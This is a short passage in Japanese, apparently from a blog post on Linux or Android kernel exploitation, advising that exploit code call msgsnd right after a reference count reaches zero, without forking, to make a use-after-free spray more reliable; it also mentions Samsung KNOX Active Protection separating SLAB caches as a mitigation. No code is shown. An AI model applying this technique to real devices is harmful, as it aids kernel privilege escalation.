なので、エクスプロイトコードでは参照カウンタが0になった後なるべくすぐにmsgsndを呼ぶために、forkをしないようにすれば多少確率が上がるはずです。


余談ですが、サムスンAndroid端末に実装されているKNOX Active Protection (KAP)というセキュリティ機構は、重要なデータ構造のSLABキャッシュがマージされないように
分ける事で、エクスプロイトを緩和してるそうです。
keenlab.tencent.com